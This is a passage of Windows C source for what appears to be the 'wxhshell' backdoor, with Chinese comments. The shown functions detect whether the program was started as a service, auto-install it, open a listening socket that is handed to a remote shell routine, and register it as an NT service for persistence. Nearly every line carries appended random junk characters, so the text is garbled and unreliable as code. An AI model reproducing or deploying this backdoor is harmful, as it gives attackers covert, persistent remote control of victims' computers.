DWORD BasePriority; R{s&6
ULONG UniqueProcessId; g7($lt>
ULONG InheritedFromUniqueProcessId; "<c^`#CWuO
} PROCESS_BASIC_INFORMATION; OH` |
c
oCE=!75
PROCNTQSIP NtQueryInformationProcess; 08J[9a0[
:]EAlaB4Q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _[zZm*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p.{M s n
dP>~ExYtm
HANDLE hProcess; <eU1E}BDQ
PROCESS_BASIC_INFORMATION pbi; %2 A-u
a;=)`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `6`p ~
if(NULL == hInst ) return 0; en"]u,!
P`/;3u/P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "/ N ?$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m3Mo2};?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;7id![KI4
[E9V#J89
if (!NtQueryInformationProcess) return 0; XILB>o.^3
^/nj2"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .hBq1p
if(!hProcess) return 0; UKYQ @m
BMubN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XJx$HM&0M
bve_*7CEM
CloseHandle(hProcess); kEQ1&9
T:v.]0l~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]} D^?g^
if(hProcess==NULL) return 0; @DiXe[kI
glMYEGz6p
HMODULE hMod; Gv
';
char procName[255]; d:Y!!LV-@L
unsigned long cbNeeded; T1$fu(f
nWfzwXP>_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SM57bN
C`G+b{o
CloseHandle(hProcess); Hrjry$t/J
9+:SS1_
if(strstr(procName,"services")) return 1; // 以服务启动 QO1pwrX<
i D6f/|g
return 0; // 注册表启动 g=Gd|
} \a<7DTV
[&_7w\m
// 主模块 CbvP1*1
int StartWxhshell(LPSTR lpCmdLine) Q6Ay$*y=D
{ d#-scv}s5
SOCKET wsl; UB5CvM28
BOOL val=TRUE; ;(&$Iw9X
int port=0; %G'{G
struct sockaddr_in door; mu#IF'|b
OD@k9I[
if(wscfg.ws_autoins) Install(); s3(mkdXv
:Dt]sE_d
port=atoi(lpCmdLine); y?6J%~\WP
Y ~TR`y
if(port<=0) port=wscfg.ws_port; iXoEdt)
q8m{zSr
WSADATA data; d4ga6N3'
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .O yzM
O{vVW9Q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :VkuK@Th`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^Z
|WD!>`
door.sin_family = AF_INET; CXQ +h
door.sin_addr.s_addr = inet_addr("127.0.0.1"); xK*G'3Ge
door.sin_port = htons(port); Sg &0a$
!_?K(X~/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7@W}>gnf
closesocket(wsl); r,43 gg
return 1; ?&`PN<~2z
} mm
dQ\\
]>9[}'u
if(listen(wsl,2) == INVALID_SOCKET) { N*1{yl76x
closesocket(wsl); #\zC|%2+z
return 1; [ML|,kq!
} #+"1">l
Wxhshell(wsl); op2<~v0?
WSACleanup(); C8Oh]JF4d
K^ 5f
return 0; wbpz,
]lqe,>
} h@2YQgw`
c]/X
>8;
// 以NT服务方式启动 [mcER4]}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UfkQG`G9H
{ Fa0NHX2:
DWORD status = 0; r`\6+ Ntb.
DWORD specificError = 0xfffffff; 6M#}&Gv
j5:/Gl8
serviceStatus.dwServiceType = SERVICE_WIN32; Z?f-_NHg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q{o ]^tN
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "$I8EW/1
serviceStatus.dwWin32ExitCode = 0; )p`zN=t
serviceStatus.dwServiceSpecificExitCode = 0; 6no&2a|D
serviceStatus.dwCheckPoint = 0; o.g)[$M8cF
serviceStatus.dwWaitHint = 0; >^~W'etX|
8b[<:{[YB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
|W\U9n
if (hServiceStatusHandle==0) return; -NPX;e$<
.[:y`PCF
status = GetLastError(); w }=LC#le
if (status!=NO_ERROR) %BwvA_T'Q
{ Rn $TYCO
serviceStatus.dwCurrentState = SERVICE_STOPPED; P_.zp5>
serviceStatus.dwCheckPoint = 0; STL+tLJ
serviceStatus.dwWaitHint = 0; Tg@:mw5
serviceStatus.dwWin32ExitCode = status; | /X+2K}3
serviceStatus.dwServiceSpecificExitCode = specificError; ,Ma%"cWVC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tiPZ.a~k
return; #G]g
} Q"s]<MtdS
EX/{W$
&K
serviceStatus.dwCurrentState = SERVICE_RUNNING; XD%GNZ
serviceStatus.dwCheckPoint = 0; nC}Y+_wo0
serviceStatus.dwWaitHint = 0; `PtfPt<{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G.~Ffk
} ID~}pEQ
y-uSpW
// 处理NT服务事件,比如:启动、停止 P>hR${KE
VOID WINAPI NTServiceHandler(DWORD fdwControl) E/hO0Ox6
{ 4vi[hiV
switch(fdwControl) H}cq|hodn
{ (H;,E-
case SERVICE_CONTROL_STOP: ;TL>{"z`x
serviceStatus.dwWin32ExitCode = 0; 1b<[/g9
serviceStatus.dwCurrentState = SERVICE_STOPPED; hO2W!68
serviceStatus.dwCheckPoint = 0; Tq,dlDDOR
serviceStatus.dwWaitHint = 0; TR9dpt+T
{ YRyaOrl$<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *{(tg~2'(
} v$Xoxp
return; AEd9H
+I
case SERVICE_CONTROL_PAUSE: u =lsH
serviceStatus.dwCurrentState = SERVICE_PAUSED; EGzlRSgO
break; Prrz>
case SERVICE_CONTROL_CONTINUE: ;NF:98
serviceStatus.dwCurrentState = SERVICE_RUNNING; A"6&
break; `(xzCRX
case SERVICE_CONTROL_INTERROGATE: qS?^(Vt|R
break; qb$M.-\ne
}; N_E)f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :)F0~Q
} "%w E>E
QsBC[7<jd-
// 标准应用程序主函数 <l<